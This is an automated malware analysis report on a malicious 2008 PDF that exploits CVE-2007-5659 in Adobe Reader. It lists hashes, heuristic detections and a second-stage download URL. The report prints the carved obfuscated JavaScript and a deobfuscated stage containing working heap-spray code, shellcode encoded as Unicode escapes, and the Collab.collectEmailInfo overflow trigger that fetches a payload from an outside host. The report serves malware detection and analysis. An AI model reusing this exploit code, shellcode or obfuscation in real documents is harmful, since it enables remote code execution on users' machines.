PDF malware analysis — malicious · 7668e0c4dbfe5527

MALICIOUS

PDF

4.7 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)

MD5: 46c731c525e98185bacc25555f2fe388 SHA-1: c48182f6bdfcc6b5574370834e5434fa1d815655 SHA-256: 7668e0c4dbfe55274c6c612fbd24cca2fe55efd80b0255d6259936a4b38211f0

290 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2007-5659 (Collab.collectEmailInfo) in Adobe Reader. The deobfuscated JavaScript attempts to download a second-stage payload from the URL http://abb192.cn/exp/load.php?id=231&spl=4. This indicates a clear intent to execute arbitrary code from a remote source.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 8

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY

Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://abb192.cn/exp/load.php?id=231&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0013_001.js` `2655b4a79992adb087d5cefe6a327eddf2946ab373aeda663192eeec6743e4d4`	pdf-javascript-stream	PDF /JS object 13 at offset 0x36A	6483 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function xPKyZMmuQPkA(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function ocwyC3(XekU5kCxeV8KZ){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(XekU5kCxeV8KZ)"+";"+"}");eval("function iHhtAM(DYKxsAmkjX){var AxHRAAGMj="+"0,GFJtfTN1D=DYKxsAmkjX.l"+"en"+"gth,rh8Bz=10"+"2"+"4,m0Bkf,TdcFP,IxRNClHrEfrSns='',B40k8JwrygwbJB=AxHRAAGMj,u0y9WAtn29T=AxHRAAGMj,tGlkBptwwD=AxHRAAGMj,yBZknsvpZ6nhc=Ar"+"ra"+"y(63,1,40,7,5,53,55,14,20,30,0,0,0,0,0,0,58,31,47,8,54,9,50,41,10,32,18,60,38,21,46,45,49,26,61,2,51,48,25,33,59,34,37,0,0,0,0,17,0,23,24,52,13,35,22,44,62,19,3,4,36,11,12,56,15,57,29,28,0,39,42,6,43,16,27);f"+"o"+"r(TdcFP=M"+"at"+"h.c"+"ei"+"l(GFJtfTN1D/"+"rh8Bz)"+";TdcFP>AxHRAAGMj;TdcFP-"+"-){fo"+"r(m0Bkf=Ma"+"th.m"+"in(GFJtfTN1D,rh8Bz);m0Bkf>AxHRAAGMj;m0Bkf-"+"-,GFJtfTN1D-"+"-){tGlkBptwwD\|"+"=(yBZknsvpZ6nhc[DYKxsAmkjX.cha"+"rCod"+"eAt(B40k8JwrygwbJB+"+"+)-48])<"+"<u0y9WAtn29T;if(u0y9WAtn29T){IxRNClHrEfrSns+"+"=ocwyC3"+"(254^tGlkBptwwD&"+"2"+"5"+"5);tGlkBptwwD>"+">="+"8;u0y9WAtn29T-"+"="+"2;}el"+"se{u0y9WAtn29T="+"6"+";}}"+"}return (IxRNClHrEfrSns);}var RQ1ituI0f4=implode('',['9eoun','@dg','Uvn','gThCFqH','mF7926jXdlzL','260FC','eA92','5a','ag6bNClrvoZ','_SG','6','dDsFJJbe0fx5zQGL','z9gFNJXTRLqFJ','X','RlC','YVOD9O','64@rYf9','Glz@','O5z','QGLz9g','FNJXTRLq','Fymq','LyLGYfJdTSp','EYb','f','xOaaoL','f','vqL3x','gxchsB','VNg6Mpg6zQ','GL','z9g','FNJXTRLqF4p26zQGLz9g','F','NJXT','RLqF','9pg6zQG','Lz9','g','F','NJXTRLqFy6o','Ys','D2Yn9ElVQOT','Jp','EYbf','x','O','_','TK54Xdezvo','YnSG6','zQGLz9gF','NJX','T','RLqF4XRI9eqY','yDGY','awEl9XHNpzvOEz','R59a','26','ChEe9i','HWv','Fqe@Jx','6jXOTw@s','u76G','Tr@su','4X','dYAF26nFvG6fqGxFQume@G8@','R','U','9BClzDbuA@o','LfTRDmvsTH','6KDmvsTH6KDm','vsTH6KDm@nN','XFXDmDsTmTXDmYnFR9K','D','mQgT','K9KD','mQgT','70KDm','NmNd6KD','m','N','mTH','6KDm','NmBoh','X','DmNxP7BKDm','YmNX','DXDm','YmNoYXDmQnBEe','XDmvmNH','BXDmN','mNX','YXDmYgFX','YXDmNzT0YX','Dm','9','nNCx','KDmvn','ToD','K','Dm9','n','NCxKDmY','KN','XLKDmNmN76KDmNmN','X','FXD','mYgFXYXDmFXP76KDm','YKTwuKDmNX','T0hKDm@s','F76KDmNmNp0KDmNm','NXYXDmhXBC','eKDmFXPX','FXDmLsFwuKDmYK','F','p0','KD','m','@sFXhKDm','N','mNpeXDmN','m','N','XYXDmhX','BCeKDmFXPXLKDmDX','BwuK','DmhgTme','XDm@','sFnxXDmNmN7xXDmNmNX','Y','XD','mhXBCeKD','mFXPXDK','D','m@gTwuK','Dm@','nNn0K','Dm@sFweXDmNmNdTX','DmNm','NX','YXDmhXB','C','e','KDmFXPo','YXDmFKNwuKDm@KB3eKD','m','@sFmuKDmNmN','nA','KDmNm','NXY','XDm','hXBCeK','Dmhm','NoFX','DmvzFC','eX','Dm9KBn6XDmYnFpBK','DmYzF0h','XD','mNxP7eKDmNmNXNXD','m','FXTXYXDm9K','BCe','KDmYg','FRFX','DmN','mB0hXDmNXN','w','BKDmYgFKYKDm','YzFKhX','Dm','@sFK','9KDmNmNC','xKDm','NmN','XYXDmQs','FKYXDmYXF@9KDm','9n','NR@','KDmL','gP7uKDmNmN','XYX','DmYn','F','XY','XDmY','zT0h','XDmFKBCx','KDmFnNC','6XDmYnFKYXDm','DmN0hXDmhgTwuKDmNmNXYXDm','FmN','XYXDmhXBCxK','DmQKFoFXD','mFmFXvX','D','mF','XBCxKDm@sFoL','KDmNm','NwBXDmNmNXYX','DmhXBXD','XDmFgPR','YX','DmFzTX','YXD','mDX','T','30K','Dm','FgPw0XDmNm','B0YX','DmQKB3u','KDmNmNXYXDm9KBpXKDmYgFRYXDmNzT0hXDmNXN','wBKD','mY','gFKY','KDmYzFKhXDmhmN','7uKDmN','mNX','YXDmQ','K','FXY','XDmFzFXQKDmhXBXDXDmvzBRFXDmFzBdxK','DmhgTKD','XD','mD','mN30XDmFzBKYX','Dm','h','XBCxKDmQKFoDKDmFm','FXh','XDmF','XBC','xKDm@','sFoLKDmNm','NRDXDm','Nm','N','X','YXDmNm','NwBKDm','9KB','pXKD','m','YgF','RY','XDm','N','zF0hXDm','NxNwB','KDmYg','FKY','K','DmYz','FKhXDmYmN','7','uKDmNmNXYXDmQKFXYXDmYgFpXKDm','YmN0hXDmNXNwB','KDmYgFKYKDmY','zF','KhXDmNmN','7uKD','mNm','NXY','XDm','hXN','XYXDmFx','NKvKDm@KNXDXDm@','K','NXDX','Dm@KNXDXDm@KNXDXDm','@','sT','C6XDm','FXFXFXDmYg','FKDXDm@','gNdBKD','mFxNpz','KDm@n','NpXKDmYgFKhXDmYgF76KDmNzF3TKDmFmT','CxKDmFX','PXD','K','Dm9s','BC','x','K','DmY','gF@DKD','mYXT3TXD','mNzB','3uKDmF','XPp6XDm9KPCxKDm','NzBRYXDmvzBp6XDmhm','FneKD','mvnT0NXDmF','s','BXD','XD','mvz','BK9KDm','Nx','T','pAKDmYmNm0K','DmhgN','@NKDmNzF3','TXDmFKTnBXDmNzBXFK','D','mh','mNp','xX','D','mhKN7x','KDmhKT@','v','KDm','9KBK','hKDm','FX','F70XDm@gFCxKDm','FXFC','xKDmN','z','BR','FXDmQKPdTK','Dm','NzTCxKDmYgF0','vKDm','YzTK ... (truncated)
`generic_stage_recovery_000.js` `31f9eae44e4ce2c8a12202424adc12a92d34ef46ec4fd9c6360878cde354b80d`	deobfuscated-js	generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x36A	2624 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var NN4NMq6GL6py = new Array(); function s37lzsAK(ehde94PJ1Cg5, mvfKH) { while (ehde94PJ1Cg5.length2<mvfKH){ehde94PJ1Cg5 += ehde94PJ1Cg5;} ehde94PJ1Cg5 = ehde94PJ1Cg5.substring(0,mvfKH/2); return ehde94PJ1Cg5; } function PF1XH7() { var ZzTbqDJ = 0x0c0c0c0c; var rRXIkYURc5VYj = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u323D%u3133%u7326%u6C70%u343D"); var KZuP1Shl1B = 0x400000; var CFiCzX2SW7w = rRXIkYURc5VYj.length 2; var mvfKH = KZuP1Shl1B - (CFiCzX2SW7w+0x38); var ehde94PJ1Cg5 = unescape("%u9090%u9090"); ehde94PJ1Cg5 = s37lzsAK(ehde94PJ1Cg5, mvfKH); var wXs78BMXi = (ZzTbqDJ - 0x400000)/KZuP1Shl1B; for (var WTz5TWMapeaIG=0;WTz5TWMapeaIG<wXs78BMXi;WTz5TWMapeaIG++) { NN4NMq6GL6py[WTz5TWMapeaIG] = ehde94PJ1Cg5 + rRXIkYURc5VYj; } } function d8wuoiv1v() { var ldlFBmi = app.viewerVersion.toString(); ldlFBmi = ldlFBmi.replace(/\D/g,""); var QelLCeSJqorYk = new Array(ldlFBmi.charAt(0),ldlFBmi.charAt(1),ldlFBmi.charAt(2)); if ((QelLCeSJqorYk[0] == 8 && ((QelLCeSJqorYk[1] == 1 && QelLCeSJqorYk[2] < 2) \|\| QelLCeSJqorYk[1] < 1)) \|\| (QelLCeSJqorYk[0] == 7 && QelLCeSJqorYk[1] < 1) \|\| (QelLCeSJqorYk[0] < 7)) { PF1XH7(); var ZhEUQAULjkz = unescape("%u0c0c%u0c0c"); while(ZhEUQAULjkz.length < 44952) ZhEUQAULjkz += ZhEUQAULjkz; this.collabStore = Collab.collectEmailInfo({subj: "",msg: ZhEUQAULjkz}); } } d8wuoiv1v();

Open this report in the interactive analyzer, or submit your own file for analysis.